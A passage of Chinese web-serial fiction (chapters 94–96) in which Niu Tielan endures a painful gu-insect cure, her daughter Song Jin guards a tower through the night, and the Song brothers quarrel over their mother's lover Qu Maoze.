曲茂泽低头看着她的侧脸,看似平静,但微颤的睫毛还是暴露她的紧张 他低声:“怕?” 牛铁兰没忍住,怒瞪:“废话,是你你不怕啊” 曲茂泽:“不是我也怕” 牛铁兰突地回头,对上他的眼睛,清亮平静,平静下藏着看不清的暗潮汹涌,她立马就不自然了起来,挪开眼 “你有什么好怕的?你位高权重,还有那么几个出息儿子,想要什么轻轻招手就行了” 曲茂泽看着她闪躲的目光,伸出另一只手按住她的脑袋 因着要泡浴,她披散着头发,青丝顺滑,带着浅浅的桂花香 曲茂泽轻轻摩挲,顺着青丝往下,来到她细腻的脸庞,轻轻掐着下巴,抬起她的脑袋,轻声 “真这么想?我什么都有?” 难道不是吗 牛铁兰转过了脸,紧抿的唇和颤着的睫无声地把话说了出来 曲茂泽轻轻用力,又把人掰了回来,静静看着她,重复:“真这么想?” 牛铁兰无言 他确实位高权重,什么都有,这么说没一点问题,但是换个角度来看 从小被抓,亲娘惨死,手刃亲爹,这一路走来,故友一个个去世,又一个个成敌 贵为首辅,却在大部分人口中为奸臣,的他 真的什么都有? 牛铁兰轻轻咬唇:“总比我好吧?” 压抑的氛围散去 曲茂泽失笑:“这是要和我比惨?” 牛铁兰恼,拍打他的手:“谁和你比了?” 曲茂泽不急不慢,松开她的下巴,攥住她的玉手,细细摩擦,轻声喟叹:“当初不该放你走的” 牛铁兰猛得抬头:“什么意思?” 什么叫当初?什么叫放人 她当初不是 曲茂泽看着她震惊的模样,松开手,又抚上她的眼睛,轻笑出声 “你不会觉得外面这么好走吧?” 只可惜,他还是低估了她,导致后面他后悔也找不到人了 她怎么就能这么聪明呢?易容顶替,改名换姓,沉寂乡野…… 牛铁兰从没想过这个可能 毕竟当初那事,她一直是笃定人没了的,哪想到他还活得好好的,甚至一年比一年年轻 就像这次一般,所有人都以为宋商已死,没人会想到,他已改头换面早早重回都城,布下万千算计 牛铁兰呼吸急促了些,她死死盯着曲茂泽,一字一字:“当初的事,你知道?” 曲茂泽撇开眼 他自然知道 只不过,他以为是她的意愿,没想过是红线蛊的原因 红线蛊作为十蛊之一,是其中隐藏最好,也最为阴狠的蛊 他那时候还没有现在这么善蛊,也就没意识到 现在想想 “啪”一声,重重的巴掌打断他的思绪 曲茂泽轻轻喟叹:“多年不见,脾气也跟着大了些呢” 牛铁兰气得发抖,从手中抽出手,双手攥着曲茂泽的胸襟,眼眸湿润,咬着牙:“你混蛋” 曲茂泽舌尖抵抵牙根:“不混蛋怎么会有那么多人恨不得我死呢?” 他会不知外面是如何传他的吗?他只是不在意,因为说的一点没错 他从始至终,就不是一个好人 曲茂泽看着气得打颤,想骂人都气得说不出话的人,擦去嘴角血渍,掐住她的下巴,用力地咬了上去,声音低喘 “谁让你要来招我的?” …… 厚重的黑布遮住光亮的同时,也似遮住了外面的喧闹,幽暗的房间内寂静无声,仅有轻微水渍闷哼声 牛铁兰被压在木桶前,纤细的腰肢卡着硬板,被黑布挡在外面的炙热也似从脚下涌了出来 黑暗下,她双手紧紧攥着曲茂泽的衣服,顺着料子一点点扣入皮肉,眼中蕴着水意,眼角发红 她收着牙,想狠狠咬下,又被侵蚀着无力阻拦 这混蛋 混球 十六年啊 她今年三十四,一个十六年被困在没有走不出的深山,另一个怀着内疚悔意年复一年 这人实在是 混蛋啊 牛铁兰忍了又忍,最后还是没忍住,狠狠一口咬了下去 伴随着一声闷哼,那作乱的舌齿停顿一瞬,很快又席卷而来,带着血腥气,压着小舌勾缠,像是要将其吞咽一般 宽大的手也抚上腰肢,轻轻一拉,素青腰带随之掉落,如雪的肌肤一点点敞露 在黑暗下,便是视力再是超群,看得也不会犹如白昼,但是朦胧之中,却又更为惑人 一点点抚上,犹如抚摸着暖玉之上,让人爱不释手 黑暗之中,仿若也悬上了日月,带着炙热之意,也喷洒出亮意 也并不是错觉 不知不觉间,立在木桶边缘上的明虫已经燃到了尾巴,原先的黑烟也一点点转为白烟,像是萤火一般散着柔光 与此同时,浓黑如墨的虫水夜晚如星幕一般,开始星星点点,闪着碎光,真就像是星空一般,如梦如幻 牛铁兰想到了中秋宴那日的觅皎鱼,也是一如这般梦幻 她怔怔地看着 倏的一轻,身上衣物缓缓落在地上 她回过头 曲茂泽压着眉眼,额间微汗水,一双凤眸沉沉,压着看不清的幽深,不再有平日清正模样,倒是更像藏于山间的蛇 浓艳而剧毒 他轻轻抚着她光洁肩胛,低低:“下去吧” 牛铁兰这才意识到自己想岔了,她咬了咬唇,深吸一口气,低着头看着路,踩着一旁的小桌凳,一步步上去 她看着泛着微光的水,伸出了脚,却始终迈不下去 曲茂泽站在一旁,目光幽深:“考验我?” 她站在上方,赤着身躯,从头到脚一览无遗 牛铁兰心一梗,狠狠瞪了瞪他,一咬牙,砰一下跳入浓黑的水中 瞬间,她疼得想要喊叫出来 一只手伸了过来 牛铁兰想也不想,抓住手腕,狠狠咬了下去,才压下吼叫的冲动 太疼了 全身像是被刺刺穿一般,又好像有什么东西钻进皮肉 心口的红线蛊跟着活跃了起来,心跳一点点加快,仿若撕裂一般 水中的温度一点点升上来 牛铁兰就像是泡在开水之中,那些扎入皮肉的针也跟着融化 短短几瞬,她已失去了挣扎的力气,像是抓住救命稻草一般,死死攥咬住唯一的支撑 鲜红的血顺着嘴角一滴滴落下滴入浓黑的水中 而这,也只是刚开始 …… 一直到日落时分,晚霞遍布天边,一层一层,像是焰火一般,浓烈燃烧 屋外坐在地上数虫子的虫老拍了拍手,把身前排列好的虫蚁抓起,不寻常的小心收集到盒子里,没用的就扔到后面的草木中 “没用的虫子回地里,有用的虫子攒家里” 虫老看着天边晚霞,转身对着宋锦道:“你是个有用的小丫头,你娘是大有用的大丫头,她肯定能挺过去” 宋锦听着屋里压抑的痛苦声,脸色难看:“我该进去的” 虫老摇头:“进去又有什么用?你在里面她只会更顾忌,行了,走吧” 宋锦:“去哪儿?” 虫老:“你不会以为这就完了吧?” 宋锦紧紧抿嘴:“已经三个时辰了” 虫老嗤笑:“你以为我说的千不存一,是说着玩的?走吧,晚上还需要你守着,月光虫,可是很吸引那些玩意儿的” 宋锦:“什么玩意儿?” 虫老没说话,只是抬头看着天空,神秘莫测:“来了就知道了,走吧,去摘星塔” 宋锦紧紧抿嘴,站起身,越过院子,看向那座矗立永安城的高塔,往日张扬消肆消失无踪 她面无表情地看着天空,平静的神色下,压着满满的肃杀,她轻喃:“是吗?” 不管是什么玩意儿 敢阻止她娘治疗 杀 第95章 金金不怕 前朝皇帝昏庸,倾尽人力物力,大修土建 他在位之时,永安城扩大了一倍 听着是好,但是实质是将永安城内原本的普通百姓赶走,转而将其他地方的商户、仕官门接了过来,形成世家大豪接肘的局面 至于那些个普通百姓的死活,无人在意 荒帝在位的那些年,各种因素交织,死亡人数达到万万余人,可以说尸横遍野、血流成河,各种瘟疫苦疾兴起,大部分尸体甚至活人被囤积烧毁 那段日子,各地哀嚎声彻夜不绝,便是新朝杀掉荒帝,重新建立祭塔,那些焚烧点依旧不息,呜咽声不绝 “岭南之乱平息之后,宋首辅带着上万家百姓的奉名书,请命修筑摘星塔,工期两年,后有请三清观明霄道长等众多道长前往各地焚坑,取万骨烧铸,镇在塔底,最后七次七日做法,洗清冤魂之冤……” 宋锦站在上百米高的塔上,静静看着沉寂中的永安城 今日圆月,月色飘撒,又恰逢宵禁,街道上除了搜寻的士兵巡卫,再无其他多余的人,皎洁的月光化作寒霜,带着凌冽肃厉的气息 摘星塔宏大,一百六十六米的高度,让人站在上面便会被寒意侵袭 很难想象,这么一个建筑,是由宋商起草修筑的 宋锦复杂:“他懂得还真多” 齐铮走了过去,站在她的身旁,从上往下看去,中间雾气渐起,宛如仙境 他道:“宋首辅乃奇才,学富五车,不仅在文政上尤为突出,在建筑水利上更是尤为突出,这一点,应该少不了其父的影响,那改变青郡府的水渠改道,就是出自宋太傅之手” 宋锦幽幽:“他爹娘也在这里?” 齐铮颔首:“在” 宋锦转过身,顺着他的目光,看向塔尖的位置,塔尖下层层交叠,想藏点什么却是不难,想来便是两人都藏骨之地了 齐铮却道:“非也,那针塔便是由他们尸骨铸成” 宋锦愣了愣,随即低咒:“真是个疯子” 齐铮叹气:“宋大人,做事别具一格,不拘小节,有时又,过于强势,一意孤行,不讲情面,日积月累下来,树敌颇多,流言也就一点点传了出去” 宋锦抿着嘴,看着顶上那骨灰针柱,道:“但是都能实行下来,说明他做的也是对的吧?至少,他做的是你爹想干的事” 在满朝皆反对的情况下,若是当皇帝的也有一点不愿,事情肯定顺不下去 齐铮点头:“父皇和宋大人,像是于微末,又志同道合,很多想法都是相似的,朝臣也知此事,他们说不动父皇,又不敢惹宋大人,只能贬宋大人了” 宋锦环着手,有一搭没一搭地接着:“你说,他还会回去吗?” 齐铮沉默良久,轻轻叹气:“我在父皇的书房中,见过宋大人的悼书” 齐晔和宋商演这么一出大戏,目的已经很明显了,他们就是要借机铲掉那些积压在永安城,盘根错节,又一点点腐败的世家公侯,要让新的寒门上来,彻底去掉前朝的身影 杀害当朝首辅这个名头才够 若人还活着,那这个罪的分量就不足,便是铲掉几个主谋,几个家族休养生息几年,又能转头重来 他们弄这么大阵仗就没有意思了 齐铮看着宋锦抿着的嘴,低声道:“抱歉” “你有什么好抱歉的?这事跟你有什么关系?再说了”宋锦的心情不是很好,但也只是因为她娘的事,和宋商没有关系,她仰头看着星空,淡淡 “在朝堂上待了二十年,你又如何知道他不是自己想走的?” 若宋商真是贪名贪钱的人,他定然不会想出这个主意。不用细问,宋锦都知道这种诡谲的主意是他自己提出来的,但是看他的性子,他也不是个会想一辈子困在一个城的人 他现在功成名就,不管是权势还是名利都在最盛的时候,皇上又是一起打拼的人,往后换了人,谁又说得准呢? 他一向是个聪明人啊 只可惜,聪明过了头,也会被自己坑 宋锦靠在边上,看着再往上一层的小阁楼,从她这个角度看上去,除了那华贵的木栏,什么都看不到,只能隐约听到上面传来的痛苦呻吟声 她娘定然很痛啊 宋锦漆黑的眼眸一暗,转头看向齐铮,问:“开春了,想不想去江南转一圈?” 从这边到江南,他们快马骑行,彻夜不休,来回最快也得大半个月,搞事情定然还得修养,所以要一个月 她娘这个情况,她肯定走不开,冬天下雪寒冷不适合赶路,开春了正好 宋锦看向江南的方向 别以为没有证据,他们就能心安理得地在那边享福了 她做事,可没那么讲究 齐铮看着她眼中的戾气,沉默了一下,道:“和江南有关?” 宋锦点了点头,眼中戾气越发浓烈:“去不去?” 齐铮轻轻叹气:“去” 这人做事没轻没重的,又关系牛铁兰,真让她一个人去他才不放心 他看着宋锦今日格外戾气焦灼的眉眼,指节蜷动,想伸手抚去,又被他按了下去,轻声安抚道:“夫人吉人天相,定不会有事的” 宋锦眼睛一红,一屁股坐在地上,磕着下巴,声音沙哑:“我知道,她肯定不会有事的,我就是,很担心。她都不让我跟着。她就我一个闺女,她不让我跟着,还让那人陪着,这不公平” 齐铮轻叹:“夫人是怕你心疼,再说,宋,曲公子懂这个,真不让他陪着,你放心?” 宋锦眼睛红红,手紧紧攥着腿:“那也不能,不让我陪着吧?万一,你说万一,真有个意外,那神经病拉着她跳下去了怎么办?” 齐铮嘴角一抽:“……应该不会” 宋锦吸吸鼻子:“你看你都说的应该,万一呢?” 齐铮无力反驳,看着她通红的眼睛,还有被沾湿的睫毛,胸口又有些闷,他斟酌半晌,说道:“夫人之前和我说过” 宋锦:“说什么?” 她眨着湿漉漉的睫毛,鼻尖眼睛都有些红,眉眼耷拉下来,蜷在那儿,向来强势张扬的人,此刻看起来格外的脆弱 齐铮漆黑的眸子盯着她,眼中全是她的倒影,他小心翼翼道:“夫人说,如果哪天你落泪,那一定难过伤心到极点” 宋锦伸手摸了摸眼下,果然湿漉漉的,她扯了扯嘴角:“废话,谁不伤心难过会哭啊” 这应该是她这辈子第二次哭,第一次是三岁那年,牛铁兰染了风寒,差点没救回来,这一次还是因为她 宋锦想着眼睛就更酸了,又绷着面子,问:“难道你没哭过吗?” 齐铮沉默了好一会儿,艰难道:“哭过” 宋锦吸吸鼻子:“你师傅走的时候?” 齐铮点头,又摇头,在宋锦疑惑的目光下,缓缓道:“我小时候经常哭,扎马步久了要哭,练剑练累了也哭,打架打输了也会哭,我师傅说,他当初发现我,就是因为荒郊野岭,我哭声太大了” 宋锦擦擦眼睛:“那你可真是个哭包,我以前练功,从来不哭” 她就是手折了,在水里差点被食人鱼咬掉大片皮肉,都不哭 因为她知道哭了也没用 她有些得意地挑起眉头,但是落下的泪滴却逐渐增加,平日说得再好,哄得再多,她心里也是没底的 这红线蛊本就凶恶,现在又要以其为本练蛊,凶恶程度又翻了不知几番,就是下手的虫老自己都说千不存一 宋锦哪里真能那么乐观啊 她抿着嘴,靠在膝盖上,眼泪越来越多,断断续续砸下 “我,我娘要是走了,我一个人,一个人怎么办啊……” 她这辈子,睁开眼看到的就是牛铁兰,从娃娃大小被她拉扯大,日日夜夜,她接受不了她娘还那么年轻就离开 三十来岁,太早了,最起码也五十,七十岁吧? 齐铮站在那儿,听着她断断续续说着她小时候的事情 怕她撞到,把家里所有桌椅全都换成圆的 怕她摔跤,把家里门槛换了,周围全部围上围栏 又怕她爬树,把家里大小树全都砍了,怕她爬墙,墙角种上刺花,墙上敷上尖刺…… 齐铮完全能想到,她小小时候到底有多皮实了 他拉了拉袍子,轻轻蹲在宋锦面前,黑漆漆的眼眸倒影着她抽咽的模样,想伸手替她轻轻擦着她的眼角,又顿在半路 他笃定:“夫人肯定会没事的” 宋锦哽咽:“真的?” 齐铮:“真的” 宋锦扯着嘴角,用袖子两下擦干净脸,白净的脸红了大半,她吸了吸鼻子,从兜里抽了手绢出来,一点儿也不在意形象地擦擦鼻涕,然后扔到一边 她抬头看着半跪在地上,耐心陪着她的人,眼睛还是红红,张开手:“那我信你一次,过来,勉强让你抱一下” 齐铮一怔,看着她眼睛红红,骄傲又微微紧张的模样,不做犹豫,轻轻抱住人的后背 十五岁的少女虽然脾气坚硬,但是人却又格外的柔软,让他抱住人之后,就不敢做多余的动作,只能僵硬地搂着人,手放在纤细的腰肢上,又触火一般松开,很快就变成了木头模样 而他自小练武,本就身形宽大坚硬,肩膀很多,摸上去硬邦邦的,像是精心雕刻过的石头一般,隔着那厚实的料子都能清楚感受到底下起伏的肌肉纹路,尤其是肩膀和双臂,在宽大的衣衣袖下,都能感知其中力量 和宋锦又不太一样 她内力高深,在体能上,一贯就是简单的负重力量训练,然后是大量的生存训练 她更偏向于灵巧,像是林间猎豹,同样灵动猛烈,又和虎类截然不同 宋锦双手紧紧攥着齐铮的后背,脑袋埋在他的胸口上,内里的心跳声隔着厚厚胸肌都有些吵耳朵,这个姿势,若她有歹意,便是他武艺再是强,也不可能躲过致命的袭击 宋锦刚才哭过一会儿,现在靠在他的怀中,眼睛干涩,心情也焦虑烦躁了起来,她手上的劲逐渐重了起来,但凡是个文弱人,肩膀都得被她搂折 齐铮面无改色,任由她发泄情绪,直到胸口突然一痛,后背搂着人的手也松了,转而掐住了胳膊 他低下头,刚才还埋在胸口的脑袋抬起,她的乌眉紧皱,带着浓浓地烦躁,直接咬在他胸口上 “……” 齐铮大手伸了又伸,想把人拉开,最后只碰到她的肩膀就又退下,随着胸口刺痛越发浓烈,又夹着酥麻,很是难耐 他面色越发僵硬,眉头紧蹙,冷冽肃穆,沉声,“你可以咬肩膀” 宋锦不听,听着他的话牙口力道就重了两分,然后顿了顿,在他松了口气的同时,咬上另一边 手圈住他的腰,力道重的能挤断肋骨,完全不似平日一般注意收敛着 齐铮浑身紧绷着,看着她明显焦躁激动的样子,还是侧过头,由着她 …… 圆月一点点升起,月光由上而下铺满了整个摘星楼,与此同时,窸窸窣窣的声音跟着响起 “喂,别抱了,干活了”虫老的声音从上方传来 宋锦松开口,顶着一嘴血腥味,抬起头看着那蹦到栏上一脸调侃的小老头:“要做什么” 虫老稳稳站在栏杆上,目光悠远地看着天边:“那些畜牲来了,月光虫只有圆月一日出现一时,对于这些畜牲大补,会惊扰月光虫,所以” 宋锦已经站了起来,手上拿着长弓,看着天边盘旋的雄鹰夜猫,擦了擦嘴角血渍:“就是这些畜牲?” 虫老手间银针轻晃,一只长蛇被定在柱上,他幽幽:“还有这些,我把附近月光虫都引了过来,月光虫越多,你娘成功的几率越大” 虫多群居,月光虫就是典型 新虫在族群之中更有安全感,更易安全诞生,如果周围月光虫太少,它便会继续沉睡 虫老站在栏杆之上,从高处俯视,看着一身红衣的宋锦,还有旁边黑衣的齐铮,发出古怪的笑声 “一个时辰,看到天上的月光虫了吗?少一半,那丫头必死” 咻一声,一道飞镖杀意凛凛朝着他冲来 虫老一个翻身躲过,桀桀一笑:“行,老虫不说了,小丫头小子,外面就交给你们了,我先走了。年纪大了,见不得你们年轻人卿卿我我” 说着,不等 他们作出反应,虫老桀桀笑着跳下栏杆,踩着摘星塔一层层跳走,轻功非同寻常 宋锦看着他三两下回到地上,像个跳蚤一样跳在各个屋檐之上,轻轻抿嘴:“这老头” 齐铮正色:“功力非同寻常” 宋锦嗤笑:“也不知道是被拿了什么把柄” 若不是被拿捏把柄,他应该不至于这般惧怕宋商,也不至于整日装疯卖傻 不过这些东西,只有日后再看了 宋锦拿起手中长弓,轻轻一拉一松,长箭破空,直直射入盘旋的巨鹰体内 巨鹰直接跌落 紧接着又是一只落下 宋锦回过头,看着站在一旁,冷肃如石,但又沉稳如山的齐铮,擦了擦嘴边的血渍,探出舌尖轻轻舔了一下 “交给你了,我守另一边” 齐铮漆黑的眸子深深看着她,没有多说一句,只是沉声:“好” 宋锦微微扬唇,也没多说,拿起长弓银针,走到另一边,带着凛杀意,将所有靠近的虫蛇鹰鸟,全部斩杀 …… 一个时辰说长不长,说短,却漫长得仿若过了一世 楼上的阁楼安安静静,听不到多余的声音,哪怕是痛苦的吟叫 宋锦额间的汗水一点点落下,握着弓箭的手跟着颤抖,外面空中无一鸟飞,四周堆满了鸟蛇尸身 她大口喘息,汗水沾湿眼角,有些刺痛,一颗心沉甸甸的,落到了谷底 直到吱一声,阁楼窗打开 牛铁兰无一丝血色的脸出现在哪儿,她声音虚弱无力,轻不可闻 “娘没事,金金不怕” 宋锦眼睛湿润,她扯扯嘴皮,咧着牙,声音哑然带着哽意 “我才不怕” “阿娘,我们回家” …… 第96章 训狗式养儿 “你们几个是废物吗?为什么这个小白脸在这?” “贼人都登堂入室了,你一个个无动于衷,废物废物” …… 院子里,宋慎之顶着青黑的脸看着几个兄弟,想把人全都拉去狠狠操练一番 一点警觉都没有的东西 比起他的烦躁憔悴,宋行之白衣玉佩,刚梳洗过的发丝湿润,他轻轻擦洗着,那叫一个玉面郎君,翩翩公子,一点儿也看不出来是在牢里熬了几个大夜,手上染满了鲜血的人 他缓缓回答:“第一,我们不是废物,第二,登堂入室不是这么用的,你该回去重新上课了,第三” 宋慎之冷眼:“三你娘的三,老二,你来说,这事你就这么认了?” 他就知道老大是个软脚虾,这也怕那也怕,要他说,这种不安好心的小白脸,直接套了扔河里就行了,哪里用得着想这么多? 他爹的女人,这小白脸也不看看自己有没有那个本事抢 因着审讯宋商出事一事,宋慎之几日都没有休息,穿的衣服也是那日应天府穿的,上面沾满了血块,还有些异味,头发也乱七八糟的,那张本就在漠北风吹日晒下格外粗糙的脸更是青黑,让他看起来格外的狂躁,理智已经悬到边缘了 宋顺之看着他这个模样,轻叹一声,只道:“你先回去歇一歇吧,你看你这像什么样” 虽有转移话题之意,但他也是真心实意的 兄弟几个都是由宋商带回来亲手抚养,感情都很深,但是若说最深的,绝对就是老三宋慎之了。他的原身说不上好,但是到底没什么记忆点,不似他们几个过着富裕日子,又有深仇大恨 来宋家之前,宋慎之最深刻的经历是当小乞儿时候受的欺负,到宋家之后,他一跃成为人上人,那种阶级的差异感,对他来说,宋商除了父亲这个角色以外,还有着恩人、领导、师长等敬重意义的角色 本身军队又是上下级分明的地方,他对于宋商的敬重是其他兄弟无法企及的 这就导致他有些拗 若不是宋行之等人拦着,他早就找人收拾曲茂泽这个胆敢和他爹抢女人的‘小白脸’了,哪儿会一直忍耐下去,现在审讯之下,气血涌上,理智已经耗得差不多了 宋慎之见他也不帮着自己,眼中红血丝越发显眼,他冷笑一声,非要今日寻一个结果。他看向另一边的宋安之和宋清之两个,抽出腰侧长刀横在身前,狰狞一笑 “你们怎么看?是当叛徒被我砍了,还是跟我一起去砍了那小白脸?” 一贯没什么地位的宋安之和宋清之往后退一步,看看那边面无表情的老大老二,再看看这边神色狰狞的老三 宋安之忍不住吐槽:“不是,你们三个平日正经事当我和老五不存在,一到这种时候就拉我们做炮灰,至于吗?” 宋清之也恼:“就是就是,老三你别以为自己有府邸有钱了就了不起,你那堆兵每年花掉我多少钱你算得请吗?” 宋慎之神色越发狰狞,满是血丝的眼看看这个,又看看那个,最后冷笑一声:“好好好,爹倒是真的养了一群白眼狼,你们不去,我去” 说着,他踩着重步,系着轻盔,气势汹汹地朝着那头走去 宋安之和宋清之没地位没武力,只能原地叫唤两声,最后看向上头的宋行之和宋顺之,焦急 “老大老二你们不管管?” “别真闹大了,小妹脾气可不好” “夫人脸色苍白,一会儿气病了我们才是罪大恶极” …… 宋行之擦着梳洗过的头发,看着他大步流星的急促背影,低咒一声:“蠢货,只知道打仗的蠢货,哪天怎么死的都不知道” 宋顺之话少,只是看了几眼,随后跟了上去 兄弟四个还是跟了过去 他们这段时间都在外面忙碌,审讯的审讯,抓人的抓人,查线索的查线索,一忙下来就是五日,总算把涉及到刺杀宋商一事的人全都拿下,现在就等待明日上朝,皇上下最后的审判了 这五日里,宋慎之绝对是最为忙碌的人,眼睛都没有闭两眼,就这么杀气腾腾地冲着过来,刚才还悠闲坐在自家娘亲旁边的宋锦瞬间直起了腰,踢动一旁的石凳就直接砸了过去 弄完,她又拎起另外一个石凳踩在脚上,似笑非笑看着他:“你想干什么?” 宋慎之躲过石凳,一脚踩在上面,杀气腾腾:“小妹和夫人回宋家也这么久了,有些规矩,我也该和你们说说了” 宋锦挑起眉头,嘴角一点点扬起,目光一点点冷下:“怎么,要立规矩了?” 她长得和宋商七分像,平日张扬跋扈的,还看不出来,现在这似笑非笑的样子,还真有那个样 宋慎之下意识就僵了一下,转而就更气了,那长刀刀柄往地上一砸,砰的一声,他杀气腾腾地开口:“无规矩不成方圆,小妹你是大姑娘了,夫人也一把年纪,应该知晓这个道理” 除了自家闺女,头一次被说一把年纪的牛铁兰下意识摸了摸脸,虽然因为练蛊一事,她的脸色又回归苍白,但是摸起来依旧细腻如雪,没有一丝皱纹 但是三十多岁的人了,确实也是一把年纪了 她下意识看向旁边依旧二十出头相貌的人,神色一点点淡了下去,轻轻捂住有些梗的心口:“想说什么就说吧” 她大致猜得到这人的意图 但是这些当将军的人,说话就好好说呗,干什么人身攻击 宋锦也猜得到他的想法,这人从一开始就表现得非常明显,虽然宋锦也和他一样反对,但是,这人凭什么管她娘啊? 她娘想做什么是她的自由,别说是找一个人,就是找两个三个养一屋子,这些人有什么资格来这里指手画脚? 宋锦掰着指节咯咯,皮笑肉不笑:“说吧” 宋慎之暴躁地看着几人,平日被正气压下的邪性上来,加上他此刻的形象,还真有街头出来的混混感,他的目光阴沉沉越过母女俩,看向了坐在牛铁兰旁边,温和明朗,翩然正义的曲茂泽身上,阴测测开口 “宋家规矩,一个屋里,小白脸不能过三” 三人:…… 本以为他会说什么难听话,已经想好搬去自家郡主府的宋锦嘴角一抽 还别说,这个规矩,平等伤害所有人啊 不仅是曲茂泽,还有那边的宋行之和宋安之也绿了脸,果然,只有自己知道自己是什么玩意儿啊 宋锦问:“所以呢?” 宋慎之又拿起长刀砸在地上,直直戳入地里,手臂肌肉膨胀,他面目狰狞,恶狠狠:“小白脸,要么现在滚,要么打一架,死” 宋锦转头看了过去,看到曲茂泽脸上一惯的笑容消失,她忍不住拍着桌子哈哈大笑了起来:“对对对,小白脸,要不要去打一架?上次道观打架还没看过瘾呢” 曲茂泽神色松下,一脸无奈地看着她:“真是调皮” 宋锦被他恶心到了,笑容立马消失,挪着石凳坐远一些 距离上次月圆已经过去三日,几日下来,牛铁兰的情况倒是平稳,却又回到了在林溪镇时候都状态,脸色苍白,体虚无力,还要过些天才会恢复 宋锦不懂蛊这玩意儿,虫老又不知道跑哪儿去了,她娘就只能交给曲 茂泽来看了,这几日他都直接住在宋家了 这都不是阴谋,纯阳谋了,但是她还是没办法 所以宋慎之只要不牵她娘,想整治曲茂泽,宋锦一百个支持,她对着阴测测的宋慎之,说道:“傻愣着干嘛?不是要打吗?赶紧去一边打去” 正常时候,宋慎之多少得狐疑一下,但是现在他脑子一片混乱,血性战胜了理智,只想把面前这个胆敢和他爹抢人的小白脸弄死,他竖起长刀,呵斥:“我就问你敢不敢?” 曲茂泽看着他脏兮兮蠢兮兮的状态,目光凉凉:“宋三公子看着应该休息一番” 宋慎之冷笑:“老子不用休息,单手也能把你按死” 曲茂泽:“这样啊” 宋慎之:“别在哪跟个娘们似的扭扭捏捏,不敢打就滚,老子就看不惯你们这些孬货” 曲茂泽还是坐在原地没有起身,他轻轻一叹 啪一下,只见稳稳站在那儿的宋慎之像是石块一般,突然倒下,砸在一旁的花草中,僵硬地躺在那里 这画面,真是格外的眼熟 宋锦看向罪魁祸首曲茂泽 他端然坐在那儿,脸上温和明朗的笑容变幻,随着嘴角弧度的加深,一点点染上了深意:“看吧,我都说了三公子劳累过度,需要好好休息一下,几位公子快带他回去休息吧” 宋行之对着他的笑,汗毛颤栗,他放下擦着头发的手,笑得勉强:“曲公子说得是,三弟他,这几日为了爹的事劳累过度,气血上头,还望公子莫怪” 曲茂泽轻笑:“这样说起来,三公子应该是几位公子里最孝顺的孩子吧?” 刚才还在说着好话的宋行之脸色一变,想也不想:“三弟自然孝顺,但是说起最一字,我这几日尽的心也不比他少” 曲茂泽轻飘飘:“是吗?” 宋行之上前一步,恭敬道:“自然,搜查候巧荷以及后面的罪犯都是我负责的,现在已经牵扯除了身后的势力,但是都是些小喽啰,难以直指身后之人,还需后面深查下去。这次涉事的几家人都已经抓捕,动手意图也出来了,只待圣上判断……” 这画面可就太熟悉了 好家伙 宋安之和宋清之瞪大眼睛 宋顺之已经率先一步上千,站在宋行之旁边,恭敬道:“大哥和三弟官职高,自然在查案重出最大的力,不过到底冲动了一些,期间审问过度,致使多人失去服役能力,造成人员浪费,明日少不了惹得朝臣攻讦。若是我的话……” 宋行之神色一僵,面无表情地看着马后炮的人 现在结果都出来自然好想方法了,他们那时候也是赶时间啊,那些人员关系杂乱,他们查起来有多难,这人知道什么啊就在这里乱说 宋安之和宋清之对视下,眼睛一点点亮起,跟着就上前一个个补充 宋安之:“我能力自然不比几个哥哥,但是忧虑之心一点不少,这段时间潜心研制多个刑具,就等待这个时候使用……” 宋清之:“我倒是没有什么能力,只是此事牵扯过大,涉及到奴仆百姓过多,安置他们上废了些力” …… 四个人争先恐后地表现自己,顺便不忘暗戳戳互相阴阳对方,一看就不是第一次了 宋锦坐在牛铁兰的旁边,看着几个人如此,无语道:“怎么跟狗似的” 抢食物之前先打一架? 牛铁兰坐在那里小口抿着热茶 不是普通的茶叶,是专门的虫茶,据说是茶虫蚕食茶叶之后的粪便,带着茶虫一起翻炒,比起一般的茶叶更为润口,醇香浓厚,很是奇妙 她看着那边曲茂泽训狗式养儿子,联想他真实性子,已经可以想象几个人是被他如何带大的了 她嘴角一抽,低声:“还好你不是和他一起长大” 宋锦呵呵:“娘你觉得我会怕他?” 敢这么训她,看她不咬死他个蠢玩意儿 牛铁兰轻飘飘:“就是这样才怕” 父女两凑一起,日子真没法过了 宋锦轻哼一声,侧过脑袋靠在她娘肩膀上,挽着她的胳膊,抱怨:“哪有这么嫌弃自己女儿的” 被她这么靠近,牛铁兰下意识缩了缩手,蹙起了眉,有瞬间停顿 宋锦疑惑抬头:“怎么了?” 牛铁兰松开眉头,轻声:“我什么时候嫌弃你了?” 宋锦嘟囔:“你什么时候不嫌弃了?别以为我不知道,我小的时候,你就特别喜欢卖草鞋那家的大娇娇,还想把人带回家养” 牛铁兰嘴角一抽:“……那时候你才三岁吧?” 该记的不记,不该记的记一堆 她那是想养人吗?她是知道自己身体不好,想买个丫鬟回来照顾这丫头,后面还害得人摊子都被这破孩子砸了,她又是赔钱又是道歉 宋锦撇着嘴,松开挽着牛铁兰胳膊的手,转而抓住她的手掌把弄,嘟囔:“反正别想抛下我” 牛铁兰轻轻叹了叹气:“我这不是好好的吗?你又不是奶娃娃,哪儿需要我寸步不离地跟着” 宋锦继续嘟囔:“怎么就不需要了?娘你歧视大孩子啊” 牛铁兰话都懒得说了,任由她捏着手,另一只手端起茶杯又抿了抿 这茶除了味道好对身体好之外,最大的作用,其实是止痛 旁边,宋锦捏着牛铁兰的手,不着痕迹地掀起了宽大的长袖,里面是一层白色里衣,再往下裹满了的白色纱布,遮住了底下肌肤,不露出一分 但越是这样,宋锦越能想象底下的惨烈,她就说她娘这几日为何都不让她近身了 宋锦看着被裹得严实的手臂,长长呼了口气,轻轻放下了宽大的袖口,就当做没看到一般,装作若无其事的样子,又问 “那虫老头什么时候回来?娘,你下次是什么时候?” 听到这个话题,牛铁兰手指轻轻颤了颤,轻声:“可能过两日吧,不过最难的就是第一波,后面会好很多,你别担心” 宋锦没拆穿她,咧起笑:“那就好,等娘你好了,我们就回去找阿爷阿奶” 牛铁兰看着她不自然的笑容,摸了摸她的脑袋,轻轻嗯了一声 曲茂泽坐在旁边,自然听到母女俩的话,从一开始的唇角微弯,再到后面的面无表情 宋行之兄弟四人也随之噤声,四个人排排站在那里,一个个肩背直直,却都带着难掩的局促与紧张 曲茂泽拿过一旁的茶杯放到嘴边轻抿 宋锦烦:“没有自己的杯子吗?非要喝我娘的,要不要脸?” 曲茂泽喝完,噙着笑放下茶杯,不带什么诚意道:“抱歉,没注意” 说这着,手就这么随意地放在牛铁兰的膝盖上 